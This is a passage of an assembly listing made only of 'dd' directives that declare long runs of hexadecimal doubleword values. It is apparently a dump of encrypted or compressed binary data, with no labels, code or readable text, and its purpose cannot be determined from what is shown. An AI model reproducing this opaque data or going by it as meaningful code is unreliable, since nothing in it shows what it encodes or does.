0CD7F79Eh, 0EDD447E5h dd 79B8AF5Eh, 95EBED81h, 7CDBF23Bh, 994FC684h, 807931E5h dd 0C5BAEA68h, 213CCFF8h, 0A3680C9h, 38C5B9BBh, 8A945166h dd 6C967F2Ah, 2FD70B91h, 46478F55h, 1BC48AB8h, 7820AF96h dd 5280E6BCh, 1EC17432h, 0D483858Fh, 1098D4BCh, 0C3360CF3h dd 0E44E4A97h, 8FE61E89h, 4AAAC3E9h, 10FFD6EAh, 8AD8E192h dd 0A6150447h, 4CDED7B5h, 0A63D4F4Ch, 44D0D72Ch, 1A65C2F3h dd 8B2235EFh, 5929AD83h, 5D980586h, 0BFF24780h, 14059C7h dd 619E014Dh, 7A057CF3h, 43BEA574h, 96303E6Eh, 0F47424DFh dd 45385B27h, 9425AAB5h, 164B4F3Fh, 64028FD5h, 0B8C2113Fh dd 1B54C76Fh, 1761627Fh dd 24E6F728h, 43B41C75h, 0D4184902h, 210D908Bh, 0CB6B5C9Eh dd 6952B8B6h, 0C8AD1D4Bh, 68D17E9Ah, 673AF644h, 478E173Ch dd 18E63C51h, 54CA9129h, 6BED4E70h, 8C262A63h, 1CA1C6C7h dd 27AB0A26h, 5DFD6193h, 0BD60E110h, 3AA23FF2h, 0E546961Ah dd 31141320h, 3FC507F7h, 0FC8268A8h, 8B768B2Ah, 0C5E890BBh dd 37FF13DAh, 95BAF04h, 0B1166D03h, 45777C51h, 1E965E4Bh dd 0F76C91BBh, 0E114594Fh, 0E73DF659h, 392FB35h, 0D919578Ah dd 0FE0591F5h, 0D4160BF9h, 5BBC1CC7h, 31730324h, 69BD67F6h dd 32147861h, 2F192B9Ah, 35130E25h, 0D1452E92h, 2D4FED5Dh dd 0F1A10C78h, 8B210736h, 19A46CAh, 9F7A8BCh, 6E41ABE4h dd 7483BD93h, 86AAD640h, 8343FED5h, 0C555E096h, 0AAD38B06h dd 6ED014DAh, 9A881D13h, 20983C17h, 0B1EBB44Bh, 0BE3C1BD8h dd 6246AE49h, 0A3052D77h, 0C2429624h, 9C0CA512h, 953DE823h dd 0B2933D6Ch, 1954FBD3h, 1F62545Fh, 0D54F5544h, 693449BAh dd 9D1DB21Eh, 0A3A318B4h, 7E64A54Fh, 0D275BE55h, 0EF711CE6h dd 82607936h, 0DCD06544h, 0FDD4BA8Bh, 26506628h, 66B57BD8h dd 66A4970Fh, 0EA7D5FB7h, 0B342F013h, 0B4266BD6h, 15BD542Dh dd 1BF4063Fh, 58798EA6h, 0BF7A569Bh, 9B5055C7h, 0CF5C7C05h dd 0A732C9C1h, 92392955h, 0DD840861h, 17B0FB84h, 8AF4EBD6h dd 0EBEB733Ch, 0FB18E4E9h, 0ECC2896h, 69125899h, 88F8001Ah dd 10E3125Bh, 1D73AD7Bh, 7627FC3Dh, 0A74F8027h, 2EEB68D9h dd 38104140h, 2C32D76h, 0B3497D5Bh, 0AC652B6Ch, 78A7E234h dd 0EF690031h, 0F5EC3721h, 0AD6A7576h, 73760A67h, 70AD0DDFh dd 0C3C0B0F2h, 0CDB8E24Bh, 0B177B551h, 0B93DA9A8h, 0CC17E62Eh dd 0B579A712h, 30731AD8h, 82971B8Fh, 45CCEEBDh, 6D572503h dd 8517E1A9h, 0D65CD3B6h, 0CA99C732h, 0AF025D43h, 0E387F16Dh dd 87C4C890h, 3AF20242h, 6F7A7CD2h, 2925B789h, 0D7633725h dd 0BC072BF8h, 0C80402Fh, 0FBB3D226h, 1288E34Fh, 0F5BA8402h dd 27AAF103h, 9E8907FBh, 511ADC2Fh, 79BC06DEh, 1241889Eh dd 8CCAE680h, 1EAB04A8h, 21B881Dh, 0A3877EB2h, 0C1E6D91Fh dd 0C369D0E8h, 0B68806Fh, 0DEC990FCh, 6C76B110h, 0E68C4CB3h dd 2D558457h, 814E93F0h, 72D08CDAh, 0AD66C89h, 52A8C595h dd 3A6472EAh, 0D48121F9h, 4D9379B8h, 11B4DEE4h, 0FF28F37h dd 7F99922Dh, 0F2A9A081h, 5DD70C35h, 0D0A18F2Bh, 29DCC62Bh dd 40AFFB84h, 0D8152E14h, 223E2A17h, 7021C445h, 3295723Dh dd 0E660FB75h, 537E8E7h, 35320552h, 0DA2028C4h, 77A2116Dh dd 41DBAB8Bh, 98947C20h, 0BFFAD53Dh, 957D541Fh, 1A77D0E4h dd 88A58B9Bh, 0F3DB1799h, 0D37646F4h, 0E21F70D2h, 0C0FB8D6Bh dd 82EBCEE3h, 0A3440543h, 9A161E4Fh, 26A6551Eh, 0E30613FFh dd 0B221CD95h, 199B3910h, 6CC2E1C7h, 3CF5EF9Bh, 4782F22Ah dd 0F5F22018h, 0F1A33E5Fh, 33A609DAh, 8A83928h, 0CFA3B05Eh dd 80DBE661h, 1662B06Ch, 3DADFCA4h, 181086C9h, 3DA35F34h dd 2CDF9C28h, 5E1AD029h, 208CB2AEh, 167A0ADCh, 0AF2765D1h dd 0ED9FCBA3h, 1702C527h, 0F80BE136h, 0FFE02BEDh, 0A133AE99h dd 0D5C7C793h, 8275080Ch, 0D14556B8h, 0CD5847A7h, 1AE3BD16h dd 4681281h, 7E48A136h, 9CDA3CBFh, 0ED903F85h, 0A1D431AFh dd 4A002911h, 541DD49Bh, 0A66316A6h, 0D4BFC807h, 40B3C18Dh dd 3D5CAD06h, 0C079C4F9h, 92B0DC40h, 8184A273h, 846E05B2h dd 3D05F94h, 0ACAB4D47h, 0EE49EDA1h, 81DBEE50h, 4C1F32A3h dd 55DBD0C4h, 89F20939h, 0FE112426h, 6715715Ch, 0B51BFC55h dd 0D1D39DA9h, 5898B32Dh, 0D1D87A1Ch, 55B87FF5h, 0E35B4A86h dd 5947D20h, 85CED9A7h, 524C81C3h, 62A00FB1h, 0CB41F788h dd 26448896h, 407945DDh, 0EA3054Bh, 0D1603DA3h, 6AF4D7DAh dd 335ECD32h, 1736DF55h, 0E610978Fh, 822D8FD8h, 206F794Dh dd 0D1635B5Ah, 6F9B6C8Bh, 752D5B7Ah, 0B9459997h, 0BCC0369h dd 75AFA8B6h, 7BBC756Fh, 45FE641Bh, 34CA898Ch, 0A9184882h dd 0BEC7CC0Ah, 608E57BAh, 718F638Bh, 2748A1A4h, 0E997E6C1h dd 0D82F7E1Bh, 50080C12h, 0E3BF9861h, 0F0B9CC4h, 3A870E6Fh dd 5CB0627Bh, 0E46DCEDAh, 37AFF138h, 0EB0B858Bh, 8CAD673Fh dd 6B836044h, 0FC4CD7D8h, 4B0E3766h, 0B564E49Bh, 25B8978Fh dd 326BE10Bh, 750E3ED8h, 9EFB7032h, 1A298C81h, 97BC2617h dd 9CD90AC2h, 4FC17395h, 2D84D4F9h, 5020B58Dh, 0C5A9E976h dd 3B1EEE8Eh, 12A99162h, 0A464A08Ah, 9A4940A7h, 0D753103Eh dd 0D2B300F3h, 445ED1CBh, 59122FB2h, 0D08D5783h, 0F79D6E60h dd 0E8F4DFF1h, 78B5A1BAh, 20FB5C3Dh, 0AEADEAD7h, 42D6A390h dd 0A6F1B3Eh, 4DBE00D1h, 0CB36F0FDh, 36720B0Eh, 9CB875C3h dd 29ABDEC5h, 49526655h, 523D11F2h, 32A887DAh, 0C3F8F467h dd 0BD2F0728h, 15E70CB9h, 0AFD37586h, 90952197h, 0C9D42045h dd 2B24CC7Fh, 4567C9BAh, 0E3DEA9A8h, 26569221h, 1DCF6FE5h dd 0F69C45ACh, 0B871BF16h, 308BAC6Fh, 53382041h, 2EC90511h dd 0CBD53D2Dh, 7862700Ch, 0F31A5AEBh, 0D4C915ADh, 0FF98F15Dh dd 74D75822h, 9313493h, 0ABBAD9Eh, 5FF4308h, 63373291h dd 43D11A54h, 0FB929358h, 0ACA1414Dh, 0E2395AB1h, 1C2703B1h dd 0BECC6541h, 0FF3DE08Ah, 0B80730F6h, 0E9AA1D24h, 8EF715EEh dd 0C177FF32h, 0B682E69Ch, 0C085E9C1h, 0FD4C9FD1h, 0B7028E16h dd 825B3117h, 0F7981B30h, 2703706Ch, 6DB1C63Bh, 6594E6Fh dd 57311BC2h, 0AD390337h, 61E761F0h, 0C8C8CC34h, 71B274EDh dd 8EB75CA3h, 5305787Fh, 32A15DEDh, 93F3BFCAh, 8EB78BF0h dd 0C3870965h, 0A3F0EEB3h, 6F302DDh, 0CAA84C9Ch, 9E451244h dd 4E862E5Ah, 0C85BE8E0h, 0E6C845F4h, 0E81959F4h, 1EFB1E49h dd 0FF96C281h, 94C97E3h, 4D54FF24h, 0AFAC0AC7h, 9907956Dh dd 247979A4h, 0F8F8E60Eh, 18493A90h, 17A9BF26h, 989C05AEh dd 7B3D3204h, 0BF92EF84h, 6AB9487Eh, 0AA3988BDh, 86604B54h dd 41E5E3DDh, 212F44E2h, 18ED9F5Fh, 0AEEBC137h, 0FA165593h dd 89294946h, 31E81EF7h, 7C69ACFDh, 2529CC61h, 828389B9h dd 314A625Ah, 70E7B86h, 1A668536h, 0CE84951Ah, 73904E70h dd 6942451Bh, 5E03F9B5h, 2054B9A2h, 0D735A26Eh, 5399B917h dd 678120C8h, 0EEA5E1A8h, 0BE626FEAh, 2424F036h, 1CFBD707h dd 0B967064Fh, 0C83C84BDh, 2BAC73FCh, 2930E828h, 5CD863E5h dd 0A2339F5Fh, 16A0A7C1h, 6EF2B357h, 0D3A7819Ah, 5F4F11C3h dd 1C699208h, 0ADC2DB28h, 0CF067708h, 0CA5B39D4h, 0A2377AD4h dd 98D8DABEh, 0C18CC34Ah, 0A742CEE9h, 4C944C2Fh, 0DACBC6A4h dd 52E1949Eh, 6D20EF1Eh, 36D99FB2h, 146D692Eh, 16A514B2h dd 784C563Ah, 118354D4h, 0F5B4973Dh, 0BB52F2F7h, 4982F592h dd 4435735Ch, 283798B6h, 0A64F27D8h, 0E32AB22Ch, 0A0826D05h dd 0B4ADCB64h, 1322E5BCh, 992DBCF8h, 52223526h, 2DB3016Bh dd 14E179A0h, 607903F7h, 849484E9h, 58945536h, 0F5962B67h dd 96F8FC31h, 0FDB5E668h, 0E301CB20h, 11375F98h, 4874B17Ch dd 4B54CF89h, 7CA30384h, 6CCA998Eh, 0E6ED1C37h, 54223216h dd 0E2D2130Dh, 6BD03B75h, 8945B663h, 52445F3Bh, 0A0BE1E79h dd 0FF21ABC8h, 387D131Ch, 34834EF1h, 0C3948245h, 0D07A9C5h dd 479AB58Dh, 0F5EC1604h, 17BB9FF5h, 0B3948198h, 0E8EC50F2h dd 651CCF64h, 9C7BEDBBh dd 5409F921h, 0FBDF832Bh, 25370CA1h, 0A3C4E742h, 5E01649h dd 6ECE9911h, 0C0905D5Bh, 0F43998E5h, 26033BC1h, 8BBE0EDFh dd 0B0D272B0h, 0F1FA1FF1h, 0E03CA15Fh, 0EC47BF13h, 27B39F36h dd 3E0B7FBDh, 9CAA992h, 0FEACA2F4h, 0C101A9DEh, 0F82C6082h dd 96BBA974h, 8DC85FCEh, 0C3EC579Eh, 2C582B82h, 0F0B1D368h dd 0D43CFDB1h, 9EA2F49Dh, 0FAD6A43Ah, 3EA24C31h, 0E4EBDAA7h dd 0B6720DBCh, 15EF6D1Bh, 8BEF0D66h, 4C762F9Ch, 4E01D620h dd 0FFC32CC9h, 86BC20Dh, 81E98F0Ah, 35E6E0AFh, 89B6D21Ah dd 0ABA100B1h, 0B223A239h, 9E27E24Ch, 0B217E0BEh, 0B13BBBDEh dd 0C7698AACh, 3D0B67F8h, 0FF1BBDF3h, 6265F66h, 0B80FF4DEh dd 0F89BBD43h, 0DB03A6F1h, 71C7048Dh, 0F4323AABh, 12384C0Fh dd 6F5A9BAh, 0D0EF9FE6h, 0ABDE0E57h, 0E346A044h, 0D3DBF5BCh dd 9BAE2B35h, 56B7D2BEh, 9AEA41EFh, 9FFD57A8h, 471F0BB1h dd 0B9B2D6DFh, 639C2BBBh, 439C0CD6h, 9AB976B5h, 2C1ADA52h dd 0F00416B7h, 0F764DC1Dh, 0CE6B5BDAh, 0DC77FD37h, 236F437Eh dd 8EDE36Ch, 5C68A634h, 76E0ADFFh, 7718ECB6h, 8073E299h dd 69A43C9Dh, 141D9DCh, 9588C0F9h, 0E181C15h, 82DDE797h dd 0A4DE7467h, 9EDB563Eh, 7EAE7F3Fh, 0ECCA7E02h, 70547F89h dd 47D1240Ch, 3105F631h, 0E2EBAE0Bh, 92A78AD0h, 3B230520h dd 43541831h, 0EC7E9EA5h, 4ECAEA2Ch, 4BBE1902h, 0B7D477AFh dd 49B7D223h, 0FC7842D2h, 356FC8C5h, 0B6354C42h, 0B46C6253h dd 2BF5E7B2h, 0BFB57394h, 0A25018E4h, 331746D8h, 0B386F9A4h dd 0DD1890CFh, 0E5061373h, 3ACAEE0h, 0A2FFD1A6h, 2C5A9DF0h dd 655C8F78h, 0EF5F7DF8h, 71E3C7D8h, 52E6ACB5h, 3EA90F29h dd 61DD077Eh, 0D856AF62h, 42B08147h, 49980DF9h, 55B0915Ch dd 4676BE97h, 4C0C1567h, 0A861EE1Eh, 0D127A5A5h, 7668AEB1h dd 0B2A930FDh, 5AC30A70h, 9801EC3Eh, 3BCB085Eh, 0FFB11D09h dd 2EF6CD43h, 0C50B90D0h, 532DDB5Eh, 0B95CE180h, 0EEB3FE84h dd 1CE9B1C5h, 580FE6EAh, 13909D31h, 0DE7E27D6h, 74051FFDh dd 0CE51DFE8h, 0C0FD5E07h, 26D16C5Ah, 0F490FA49h, 0BA91D0F9h dd 0B921085Eh, 861E9E74h, 0CC10CB88h, 0D2F6596Eh, 0AD7FDAADh dd 0B9775AC6h, 16E1F7F0h, 0CC5ABF07h, 70DE52C4h, 1C37659Ah dd 4E167A8Bh, 402B4649h, 0BB44646Eh, 0D2B137DCh, 0E0F9A1B6h dd 0F5AE5D86h, 6857FA39h, 978F7AF1h, 0C021E6A1h, 89998B1Bh dd 79061F88h, 0EC5117E0h, 0D6349CCCh, 4BD2F84Dh, 0F1554CD9h dd 409D56E0h, 0FA57E40Bh, 738FAA18h, 474AC375h, 946FD209h dd 0A590B0F1h, 8B799D69h, 765B9886h, 0FEA13A55h, 9D5CBDD2h dd 1BAEA978h, 0A19053A6h, 9CEC17BBh, 35AD3623h, 0C86A4DFh dd 33B228C1h, 0B76B6649h, 0F374642Bh, 0C40716A4h, 16E162FAh dd 0AA03D013h, 15384E8Ch, 0B0D80F85h, 5F37331Fh, 8C83A747h dd 0B2DF64ADh, 0ABD98B73h, 2EDC3A79h, 162509E9h, 5B5F99F3h dd 22DE5CAFh, 91128E98h, 14DF4DEFh, 0CB79B6D5h, 39E75893h dd 0A66384A8h, 0DE8337FDh, 372143C9h, 8874A19Ah, 0A74E0E7Ch dd 0F3CC9801h, 9B942040h, 8A23B1F9h, 56CBE6A8h, 0B9FDF56Ah dd 37F71DE4h, 50457C86h, 0AC14B680h, 9E979357h, 0CC4B3151h dd 95FF06F8h, 884E1BEBh, 0B917F641h, 7383FA58h, 2CAC7165h dd 93959308h, 8EB24A2h, 8A498E22h, 4054C308h, 0B011B713h dd 714B98CFh, 634CA06Ah, 8FF6A3D7h, 9D5398C3h, 0E3673EACh dd 0C5603BAFh, 538C52E7h, 0F158CBA8h, 9F66E09Bh, 47EA98D5h dd 5D14D889h, 42626259h, 0CE3AE062h, 0BED566B6h, 0BCCDEB2Eh dd 70E45896h, 3BFD59F9h, 583A5803h, 0F1E7A72Dh, 2BEDADD9h dd 0EEAC147Bh, 0B8911E5Fh, 9B428EC3h, 9808436Fh, 578EDFF2h dd 0EFF07CDDh, 4C7E2B22h, 1253170Dh, 0E9416BE3h, 27E4C35Dh dd 0B89A7DBCh, 0C4E7EF0Dh, 0E49CEAECh, 0F4BCBA6Eh, 0D4CAE1C1h dd 7BADA657h, 0FC05731h, 29A06423h, 427F3249h, 0F90EDAEDh dd 61AFA731h, 0B7F741DDh, 0CE60B91Dh, 918AF871h, 8250A88h dd 6C020285h, 0B1EB5B8Eh, 9D999BF1h, 0C0EC84A2h, 5CE74670h dd 0ABEF6EAEh, 0BCAB9797h, 6C07CD4Fh, 0AA798178h, 4394FC0Fh dd 52B2D61Fh, 881752Eh, 0F5D0420Fh, 0C8F9BAE6h, 43519702h dd 11454B9Fh, 0CAB27EBFh, 98A2F98Eh, 0C6B8F792h, 6618BCC8h dd 26D99DECh, 7352B062h, 0F93C88A5h, 0D3BEDF4Ah, 0B8C97DB0h dd 22089F73h, 6518A9A5h, 0F54709AEh, 0D2291243h, 57E73DC3h dd 0BFDE355Bh, 84A8F55Ah, 75A02F58h, 48951A57h, 0FD50AF0Ah dd 0E3C19432h, 4524A87Ah, 0AC653CB3h, 35BC8F8h, 8B5137F0h dd 0CCDCE44Eh, 3021BA8Dh, 0D3814721h, 5B4990C8h, 0A1244883h dd 0E5DC9BD4h, 8C74C201h, 0B8BA6960h, 97BB6611h, 534C1E15h dd 7FFEF1D4h, 0B1529641h, 8121A57Ch, 0F4C4BB01h, 0E791D013h dd 819C83E0h, 753A86F9h, 0C9FA86E5h, 0A85A5B05h, 68C20475h dd 0D03026C3h, 72F67287h, 0E3819631h, 71EF5481h, 3253451Dh dd 69E019BAh, 9CF80765h, 0D0BA48EAh, 8F9A4B9h, 0C7D2CDD4h dd 0DED54CBCh, 0CF0FFC03h, 0D6D5CBC3h, 82C37E11h, 8E0A1202h dd 73C23CADh, 800A3442h, 0C5125B56h, 0D87BFCB2h, 15CEAAF8h dd 60CA6DA1h, 4DBDFF75h, 0BFDB9D97h, 0DE3AE524h, 0D201A41h dd 9716F5DFh, 2187B6E0h, 3CEC2D5Ch, 0C16C0CD3h, 413BB91Fh dd 3AC52F0h, 41D10F21h, 4A8CB5E1h, 2CD962E1h, 5621F296h dd 8222083Eh, 361CE641h, 0EF9D6D16h, 9CAAA42Bh, 0EDD649CFh dd 7E8A859Dh, 0CFD5D968h, 56453F9Ch, 75ECF9B2h, 3CD2F57Fh dd 1F862AA2h, 5DE4693Fh, 6BD2BBECh, 0EF26AF5h, 3EF1FC81h dd 59247DF7h, 0EB411494h, 92FA155h, 0AE16B0DBh, 4CF7594Fh dd 0B2BA774Bh, 8A6C8470h, 0B0034B82h, 0DE7A2ACFh, 0F6FEBDC1h dd 3F95BC4Eh, 0C060ABEAh, 0A306691Dh, 563B5FF4h, 72CBB4Dh dd 72436E8Bh, 985E5152h, 3288F797h, 686D8A58h, 0F49DD585h dd 0E8AEC5C6h, 68DDED5Ah, 17FD936Ch, 0AF78666Fh, 2971EA22h dd 0CF4ADDCBh, 0A2EA6BB2h, 31C5DAE9h, 99D35411h, 4E8A71A5h dd 4048BF0Ch, 499A32BFh, 1962E923h, 73E8FD1Eh, 5859FE06h dd 0F53AF533h, 0D98963F1h, 79B2C06Bh, 0F5299AC2h, 2D3A7CECh dd 6130F556h, 1F086C10h, 575C10DBh, 0D2DC4F43h, 18CD91DBh dd 0B1EBD82Fh, 9DB0EB0Dh, 917BA12Ah, 0B53381D4h, 0E041C0FBh dd 0A92EAB74h, 26BF4C7Ch, 0A474F16h, 0D3CF93D0h, 0F5D991F7h dd 72EEF5D7h, 7FD6964Bh, 2E8CD1CEh, 2ECDC461h, 0BF79B92Fh dd 0B5CFF5E5h, 0B7F0C615h, 2E0670B7h, 0BB2C2855h, 0E4788EDh dd 2C34A989h, 0F59665E3h, 0E56F43F9h, 0A3949393h, 7FE1C399h dd 78E13E0h, 0CFDA7745h, 0D78D49BBh, 0EF2F008h, 2FACA44h dd 3BD83098h, 5F159581h, 0DA4F49C5h, 5EDD85Eh, 0F6F977E9h dd 97766A2Eh, 0BE699649h, 0F6342CFCh, 0AF421713h, 0CBBD778Fh dd 0A3FBB7BDh, 0C42DA3A5h, 4C90CBB9h, 3790DADh, 2727E32h dd 0C7E389D4h, 523EF569h, 29B21FB6h, 12BD0AB9h, 34E88120h dd 0B9644853h, 63D604D9h, 0A71A94CEh, 61A3C252h, 4E7BB804h dd 8DE80DDDh, 78BEDD0Eh, 0E2A189CDh, 0B5F8C057h, 6CF46C01h dd 47DE49B6h, 7ADE7E40h, 2FC106E6h, 3AC4F3Bh, 0BEDB65Ch dd 97E2190h, 0D45DE82Ah, 0D3117FB2h, 9527CC4Eh, 650D0C6Dh dd 5ED21E1Bh, 0D30A47Ah, 2A34E820h, 0BE8AE684h, 0E3C39A64h dd 0DA72299h, 0F8966DDDh dd 40659E7Bh, 46EEBD2Eh, 0F194683Ch, 20FD7D2Fh, 0B1DA6168h dd 0A250362h, 31B73F1Fh, 1700ABF0h, 0FA1E926Bh, 76B74FB8h dd 0C2106B9Ah, 0B288E662h, 0A790E950h, 19CEE008h, 96FF9E23h dd 42D8C4EAh, 0DF208075h, 45ED9901h, 3D95199Eh, 0C6C5383Eh dd 0C1CA537Dh, 0D820D7DBh, 9E4A1907h, 0F336B62Dh, 9C1C1307h dd 0AF87FC64h, 0F8697629h, 3FD2BDD1h, 326A1C3Ch, 6A6DD234h dd 0D78D4179h, 0EF9E950Ah, 85EB8703h, 56B00005h, 2EBD7DB1h dd 4E397F06h, 3BD3FB5Bh, 1B552C68h, 580328F6h, 0A0B64594h dd 652D627Ah, 0EDB90226h, 6AA0468Eh, 0DDCC0758h, 19F17EBFh dd 0DB23BE56h, 1A530CFCh, 0E980C8E3h, 1A12E90Dh, 0B35707ABh dd 5FDFE0EAh, 23E39382h, 3A01223Ch, 0E0286A11h, 10898BC5h dd 35D7D654h, 5AA9E9EDh, 58BE15B1h, 57F78DA3h, 1888A440h dd 313BEDD9h, 0B3BF5DC4h, 9C9F232Bh, 0ACF02B2h, 906937A2h dd 6DE639CDh, 0FF44C1DBh, 48F06565h, 223DD199h, 6CDC8CB5h dd 90AA9678h, 8267F7C1h, 0DB63FF99h, 0E7C05C73h, 27805C13h dd 0CD8FE842h, 0F6DA6FD8h, 0B85F4A4Bh, 55D42879h, 5D4EAF42h dd 0C344D459h, 3DCBB336h, 0A7808020h, 8551DEAEh, 0B45E2D03h dd 0C7183C45h, 8503F88h, 12A234Eh, 0A2726740h, 521F1824h dd 666633CEh, 0BCEA86DAh, 0A51F2F4Dh, 85DEEDD2h, 4E6D9362h dd 9B66B75Bh, 1A905C2Dh, 717C86BFh, 84BC8E68h, 5A45F49Ch dd 0A3759BC9h, 6A96B547h, 621F61A8h, 0C9CE10D2h, 0F16D012Ah dd 0D4ECA5E2h, 4C6EDC02h, 84D8A32Ah, 0B0981B3Dh, 8BD91D35h dd 0BE2ED5DCh, 0B5832F99h, 25366408h, 188DABA0h, 1B533EEDh dd 91F863E3h, 3D50F27Ah, 9A4CB569h, 2E517AECh, 0BF4665Ch dd 0D836FA76h, 0E53837EAh, 0F1D85F12h, 1A06A3h, 139A4B1Dh dd 65FDF963h, 0D45B81BFh, 0D227C198h, 378514D6h, 4F53E082h dd 446D6001h, 696F5DB2h, 2D806BE3h, 1FD03F14h, 0BB8EBB24h dd 0AD0C46BAh, 78C400D6h, 3D8ACAEFh, 3D752FD1h, 3868D5F4h dd 0F1DE8F4Ch, 0F9B546C3h, 71518F10h, 610B1315h, 7E861022h dd 0D2F14335h, 45C180FAh, 9587854Fh, 0F928386Dh, 6B9526F9h dd 0C23D8A89h, 0AF677988h, 0C87EEB19h, 2D187CF6h, 869347C3h dd 8A50E80Bh, 76AC08h, 9D99E715h, 0E8F307E3h, 1AD660CEh dd 33B4A620h, 9DCDB6FDh, 964AB14Ah, 7C842FC6h, 0FEED9ED4h dd 2BF9515Ch, 0E47DD9A9h, 0D739C972h, 7491E60Fh, 0E153383Bh dd 799D058Bh, 211E634Fh, 0C98A3DDAh, 6D12393Ch, 6B7D0C31h dd 0B771B1CDh, 8D6EA283h, 0A0113006h, 1F522F90h, 18FC508h dd 9F002A6Fh, 28D84A3Ah, 0F8CC5EEFh, 0EFC93688h, 0CA3745E5h dd 0E17A963Ah, 0AF984F80h, 0AA38F0DEh, 0FEB4FF38h, 8045675Ah dd 75BF41B5h, 5893FDA5h, 0EEAED52h, 0B5A95A09h, 1AA3B5E6h dd 0C617AAF8h, 38A9F818h, 0F2CA9314h, 5833D186h, 32880877h dd 0A94C8D85h, 0B927FD01h, 238BBA5Ah, 917875BFh, 950DD9CCh dd 0BF75E166h, 0DE35D7CDh, 1ADFDBE7h, 5F29C3A7h, 6E5A6415h dd 0F3618732h, 44509AC7h, 41A9D451h, 0E6C4DFAh, 4D38FA0h dd 2208B450h, 0CB9BC543h, 0E029EA13h, 0BA3C2CD9h, 2225C75Dh dd 7193B932h, 36086AD2h, 0F2C544B8h, 714BA4D8h, 0AD5F8FCDh dd 0DBC168A7h, 0A3F47190h, 0EC73BD49h, 4361C007h, 46217C6Bh dd 581BB5A1h, 0C27B06BDh, 2BA5A85Eh, 926534AFh, 0FAC23353h dd 26AE9140h, 54C2045Ch, 0E2BADC3Dh, 627841A2h, 0C25940E3h dd 0BFB3937Ah, 0B540A725h, 6A86783Ah, 5DD8D033h, 1344BFDBh dd 677DEC2Fh, 87622F7Ah, 0D0F47627h, 0D055018Dh, 6230C2B2h dd 0E23E99CDh, 0BBD8E0D1h, 0A73BC2C0h, 3D7BDFF2h, 5DFADDF8h dd 0E16ADD4Ch, 0D39187C0h, 1AC4D7CBh, 1BE7DEC4h, 91D9CFEBh dd 2B0BC05Fh, 119D3BC7h, 92FE6A80h, 0DFA8B08Fh, 3103EA69h dd 0F6276CA9h, 79F8D57Fh, 0BB466DAFh, 7BCF8CD9h, 6C48EAD2h dd 0E060A04Fh, 8FE888ADh, 0ABFF5A5Fh, 7FB457DEh, 62CF728Ch dd 26A8D617h, 1F099269h, 171B4A62h, 0E5DAE6AEh, 187DAB35h dd 5FA39393h, 9C2F3739h, 1F62A257h, 2B4944Dh, 0B8E98D04h dd 9D577C86h, 0EF4C94B6h, 1C4619F3h, 103123A8h, 41C66120h dd 8E0F9042h, 9D8E877Ah, 0CCA61FEFh, 0E6BDB55Dh, 8F85DA88h dd 0A611F6A7h, 28A6AF85h, 20C8EA11h, 0E6B3ED25h, 2F04CE76h dd 7A545418h, 0FA5F745Ch, 7579F89Bh, 0B9DF66CCh, 0D6A3AF4Bh dd 0B58D3BCEh, 0C14E46F0h, 0F57AA970h, 5063522Bh, 0D9CBD409h dd 64D8772Dh, 0BFB285B1h, 0EFB3C97Ch, 0D2BD9487h, 45741653h dd 45F4D6AEh, 7599E074h, 2E5705D2h, 0B5CAF76Ah, 0A9662377h dd 0EC123C43h, 9EA0D04Bh, 49AECEC4h, 0E9171EF3h, 6A18ED30h dd 97E920C4h, 25002615h, 1C3CCE21h, 0C76BF5F1h, 778EA3E4h dd 49DE6888h, 0D0BF279Fh, 2E7D418Fh, 8BA30E00h, 5E4289EDh dd 46260B54h, 7A107DD9h, 409A0CFDh, 7BC07CACh, 5C403C7Ch dd 0BD153EFCh, 9A6D0537h, 2AF6DD5Ch, 0C5763ECAh, 90215136h dd 0CB7F7DDDh, 877ED69Fh, 20DAB3A6h, 0B23E1FEh, 0A192C056h dd 0F5A44D18h, 0EF1A156Ch, 8A5C8415h, 0E12DBA24h, 1C804116h dd 0FFC39167h, 51C455ABh, 0FF255C9Ch, 3F242810h, 0BCE5C4C9h dd 0FB41E973h, 0D12E54B7h, 97AF65A4h, 8FFF99D2h, 4B907081h dd 0DC960CE0h, 48F6A79Fh, 0ED2ADEAAh, 78C5F6BEh, 69EB681Ch dd 0E33172A4h, 718AADEBh, 0AED89C2Fh, 1CC0A634h, 0FCB8B741h dd 0BA29508Fh, 35AA5105h, 0FD847EC7h, 5169A864h, 44C67440h dd 2B7155ECh, 95C8210h, 2DF73C35h, 0C5DA79E4h, 3EED2DF1h dd 5F0D94DFh, 0A0AB16B3h, 850DA6FDh, 7F8B8963h, 1EF0D425h dd 0F3A5650Dh, 0C8E1BF1Bh, 0BE4276DCh, 83DA536Bh, 0C2646C51h dd 493F00F5h, 8A4AB50Ah, 0A113000Bh, 5FD9A2B9h, 982213D9h dd 2072773Eh, 7419BBADh, 0A8E1EADBh, 809FD389h, 0D8814C0Eh dd 0F6173057h, 974615AFh, 6D07CB9h, 25E4B0C1h, 7B7E3C8Bh dd 594D2C99h, 28674F35h, 0D06AEB2Bh, 0A35C8883h, 8BD899C5h dd 763B95A4h, 6858BB20h, 0BF0DB26Ah, 9823220Dh, 3690D68Bh dd 6CA183C1h, 6C8D212h, 45801B19h, 76F87327h, 6BEB152Bh dd 4BC9B22Dh, 0EC20CCF8h, 3705BFEh, 0EC1A7977h, 0ABABD510h dd 0C2C5AF05h, 0E5F2DBCEh, 0B7A2D13h, 0C0357878h, 0FA1A6320h dd 2D6056C9h, 23B0884Bh, 20281EAh, 238926F6h, 0DD6B7314h dd 71290243h, 0B3289198h, 92DFDC9Bh, 9546B280h, 0AECF5450h dd 89E7897Eh, 9683BEBBh, 7A786FBAh, 0B8DD745h, 64929213h dd 1A7F780Ah, 2FA3FDEDh, 0C6DFCFE9h, 0A158DAADh, 3D54DD6Ch dd 0ED2868Bh, 0AC31E183h, 0D4A7A9A9h, 2C52883Ah, 791F8449h dd 2860B865h, 0A31C90CDh, 88B2CC54h, 940DDE5Ch, 0BE1947Fh dd 0C6C9738Ah, 0E7E4A874h, 6965A2E9h, 1E4EDF51h, 668B4C0h dd 1AE60099h, 0E9B030D8h, 0CCF1B018h, 0CBB5E33Ch, 8728C0FCh dd 0C2991BCBh, 0E30538DFh, 6F52A3E0h, 0B0E84AF9h, 28F96D1Ah dd 5C5FED77h, 5CF0C3CEh, 8F6E8E3Ch, 8FE9F227h, 14479F39h dd 0F12889E4h, 0E4B1C30Eh, 1F5602CEh, 0F8D06C80h, 0C4CCC15Dh dd 20F972D9h, 304E1275h, 0CF513F1Bh, 0A409415Eh, 2A101C7Ch dd 9AB53F56h, 599C5915h, 8BDC2E69h, 3208E0A9h, 0ADE7BE86h dd 1952674Dh, 0ED6EEBF1h, 1470CDA0h, 1C73AF86h, 0BACE857Eh dd 